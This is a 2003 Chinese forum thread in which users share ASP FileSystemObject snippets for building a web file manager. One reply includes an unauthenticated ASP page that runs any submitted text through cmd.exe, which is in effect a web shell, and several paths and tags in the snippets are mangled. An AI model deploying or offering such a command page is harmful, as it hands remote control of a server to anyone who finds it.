推荐一个好用的Fileman!!

yousoft2013 2003-09-09 10:15:24
1.文件只有一个,不用数据库
2.可以实现文件删除,上传,改名,编辑,移动(移到别的目录),以及目录的新建、删除、改名等...


提供下载有分!!
如果自己写的,分更高!
...全文
742 9 打赏 收藏 转发到动态 举报
写回复
用AI写文章
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
yousoft2013 2003-09-09
  • 打赏
  • 举报
回复
cy_xu@hi.com.cn或
yousoft@sina.com

上传到也行·
http://yousoft.hi.com.cn
Tonglu 2003-09-09
  • 打赏
  • 举报
回复
9、执行命令
<html>

<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>执行命令</title>
<style>
<!--
table,body{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
-->
</style>

</head>

<body bgcolor="#000000" text="#C0C0C0">

<form method="POST" action="execute.asp">
<p align="left">输入要执行的命令:<input type="text" name="ml"

size="20" value="dir c:\" style="background-color: #C0C0C0; color:

#000000; border-style: solid; border-width: 1">
<input type="submit" value="执行" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改

whoamI.txt路径到一个有写权限的目录
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml & " "
Response.write " 命令成功执行!"&"<br><br>"
else
Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行

!"&"<br><br>"

end if
'response.write cmd

function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '读文件,别忘

了修改路径.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&"<br>"
loop
thisfile.Close
set fs=nothing
%>

</body>

</html>

Tonglu 2003-09-09
  • 打赏
  • 举报
回复
5、删除文件
<%
filepath = Server.MapPath(".")
filespec = "/index.asp" '你想删除文件的扩展名
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(filespec)
Set fso = nothing
%>

6、搜索
   下面来创建搜索页面。假设已经建立了一个HTML表单,用户在其中输入一个搜索字符串。

Dim objFolder
Dim strSearchText
Dim objFSO

strSearchText = Request.Form("SearchText") < -- The search string
' create the FSO and Folder objects
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(Server.MapPath("/"))

Search objFolder


   上面的代码简单地初始化变量,Search函数执行搜索功能,描述如下:



Function Search(objFolder)

 Dim objSubFolder



 'loop through every file in the current
folder

 For Each objFile in objFolder.Files

  Set objTextStream = objFSO.OpenTextFile(objFile.Path,1) < -- For Reading



    'read the file's contents into a
variable

    strFileContents = objTextStream.ReadAll



    'if the search string is in the file, then
write a link

    ' to the file

    If InStr(1, strFileContents, strSearchText, 1) then

      Response.Write "< A HREF=""/" & objFile.Name & _

        """>" & objFile.Name & "< /A>< BR>"



      bolFileFound = True

    End If



    objTextStream.Close



 Next



 'Here's the recursion part - for each

 ' subfolder in this directory, run the Search function again

 For Each objSubFolder in objFolder.SubFolders

    Search objSubFolder

 Next

End Function

   为了能打开文件,FSO需要实际的文件路径,而不是web路径。比如,是c:inetpubwwwroot empindex.html, 而不是
www.enfused.com/temp/index.html 或者 /temp/index.html。 为了将后者转换为前者,使用Server.MapPath
("filename"), filename表示web路径名。

   上面的代码将在你指定的初始目录下的文件夹的每一个子目录中执行,在这里,初始目录是指web根目录“/”。然后
就简单地打开目录下的每一个文件,看看其中是否包含指定的字符串,如果找到字符串就显示那个文件的链接。

   注意,随着文件和子目录数量的增加,搜索花费的时间也将增加。如果需要繁重的搜索工作,建议你采取其他的方
法,比如微软公司的索引服务器Index Server。

7、写入文件

< html>
< body>

< form action="formhandler.asp" method="post">
< input type="text" size="10" name="username">
< input type="text" size="10" name="homepage">
< input type="text" size="10" name="Email">
< /form>
< /body>
< /html>

   再看看formhandler.asp中处理表单的代码:

< %
' Get form info
strName = Request.Form("username")
strHomePage = Request.Form("homepage")
strEmail = Request.Form("Email")

' create the fso object
Set fso = Server.CreateObject("Scripting.FileSystemObject")

   迄今为止,还没有新鲜的东西,无非是获取表单域的值并且赋值到变量。下面出现了有趣的部分 - 写文件:

path = "c: emp est.txt"
ForReading = 1, ForWriting = 2, ForAppending = 3

' open the file
set file = fso.opentextfile(path, ForAppending, TRUE)

' write the info to the file
file.write(strName) & vbcrlf
file.write(strHomePage) & vbcrlf
file.write(strEmail) & vbcrlf

' close and clean up
file.close
set file = nothing
set fso = nothing


   回想一下,OpenTextFile方法返回一个TextStream对象,它是FSO模型中的另外一个对象。TextStream对象揭示了操作文件内容的方法,比如写、读一行、跳过一行。VB常量vbcrlf产生一个换行符。

   在OpentextFile的命令参数中定义了TRUE,这就告诉了系统,如果文件不存在,就创建它。如果文件不存在,并且没有定义TRUE参数,就会出错。

   现在转到目录c: emp,打开test.txt,你可以看到如下的信息:

User's name
User's home page
User's email

   当然,这些单词可以被输入在表单中的任何内容所替换。

8、内容管理
   首先,你可能希望对文件改名。为了跟踪所有的文档,你将要重新命名它们以便唯一,这样就可以被系统容易地区
别。很不幸,FSO不允许简单的文件改名操作,所以我们不得不修改一下。

< %
' create the fso object
set fso = Server.Createobject("Scripting.FileSystemObject")
path = "c: emp est.txt"
strDate = Replace(Date(), "/", "")
strDir = "c:inetpubwwwrootarticles" & strDate
strNewFileName = Hour(Now) & "_" & Minute(Now) & "_" &
second(Now) & ".html"

' open the old file
set file = fso.opentextfile(path, 1) < -- For reading
strText = file.readall
set file = nothing

' check for and/or create folder
if not fso.folderexists(Server.MapPath(strDir)) then
    set f = fso.CreateFolder(Server.MapPath(strDir))
else
    set f = fso.GetFolder(Server.MapPath(strDir))
end if

' create and write new file
set file = fso.Createtextfile(f.path & "" & strNewFileName)
file.write(strText)
set f = nothing
file.close
set file = nothing

' delete the old file
fso.DeleteFile(path & "" & rst("FileName") & i)
' clean up
set fso = nothing
%>

   FSO能力的不足在这里却成了优势,我们可以一次执行2步。首先,打开文件并读入文件的内容。假设这里要创建一个
唯一的文件夹和一个唯一的文件来存储文章。然而,因为文件夹的路径每天都将改变,所以必须首先检查是否文件夹已经
存在,如果不存在,就创建它。这在if not fso.folderexists代码段完成。然后,取得那个路径,创建一个新的文件。新
文件建立完成后,删除掉旧文件,这通过fso.DeleteFile来完成。

   这2步就是:对文件改名,然后移动到一个更合适的目录下。注意,在这里还可以对文件进行更多地操作,比如在写
入新文件前进行一下内容的编辑。
Tonglu 2003-09-09
  • 打赏
  • 举报
回复
1、上传推荐“化境无组件上传”

2、读文件
< %
' create the fso object
set fso = Server.Createobject("Scripting.FileSystemObject")
path = "c: emp est.txt"

' open the file
set file = fso.opentextfile(path, 1) < -- For
reading

   接着,分析每一行,并且格式化数据:

do until file.AtEndOfStream
    Response.write("Name: " & file.ReadLine & " ")
    Response.write("Home Page: " & file.ReadLine & " ")
    Response.write("Email: " & file.ReadLine & "< p>")
loop

' close and clean up
file.close
set file = nothing
set fso = nothing
%>

   这里仅仅做了一个非常简单的输出,但是你可以根据情况包含表格或者DHTML表单信息。

   如果已经正确地建立并写入了文件,上面的小小循环将合适地列出数据库中的每一个人的信息。ReadLine方法读取1
行内容,直到遇到换行符,随后的ReadLine调用将读取下一行。AtEndOfStream是TextStream对象的属性,它告诉我们何时
遇到文件的尾部。

   假设由于某种原因,我们没有正确地形成文件,如果一个用户只有2行信息而不是3行,那么就会产生一些错误。我们
这里的循环取回文件中的下3行信息,如果没有3行多的信息,就将出现如下的错误信息:

   Server object error 'ASP 0177 : 800a003e'

   所以,一定要添加一些错误处理代码,以防文件中插入了多余的行或者少了必要的行信息。

3、目录操作
<%
dim currentFolder
set fso=server.CreateObject("Scripting.FileSystemObject")
currentFolder="d:\"

response.write "<table border=1>"
response.write "<tr><td>编号</td><td>文件名</td></tr>"
count=0
set currentFolder=fso.GetFolder(currentFolder)
for each file in currentFolder.Files
filename=lcase(file.name)
if right(filename,5)=".html" then
count=count+1
response.write "<tr><td>"&count&"</td><td>"&filename&"</td></tr>"
end if
next

response.write "</table>"
%>

4、目录操作
'------------------检查某一目录是否存在-------------------
Function CheckDir(FolderPath)
folderpath=Server.MapPath(".")&"\"&folderpath
Set fso1 = CreateObject("Scripting.FileSystemObject")
If fso1.FolderExists(FolderPath) then
'存在
CheckDir = True
Else
'不存在
CheckDir = False
End if
Set fso1 = nothing
End Function
'-------------根据指定名称生成目录-----------------------
Function MakeNewsDir(foldername)
dim f
Set fso1 = CreateObject("Scripting.FileSystemObject")
Set f = fso1.CreateFolder(foldername)
MakeNewsDir = True
Set fso1 = nothing
End Function



dgm8 2003-09-09
  • 打赏
  • 举报
回复
我来了,你的信箱给我,有分马上发
Primer2002cn 2003-09-09
  • 打赏
  • 举报
回复
mark
lang11zi 2003-09-09
  • 打赏
  • 举报
回复
外国人编的不错
SUN1842 2003-09-09
  • 打赏
  • 举报
回复
我up
yousoft2013 2003-09-09
  • 打赏
  • 举报
回复
网友提供的一下:
sh.ce.net.cn/web8/tools/fileman.rar
很不错!!

28,390

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧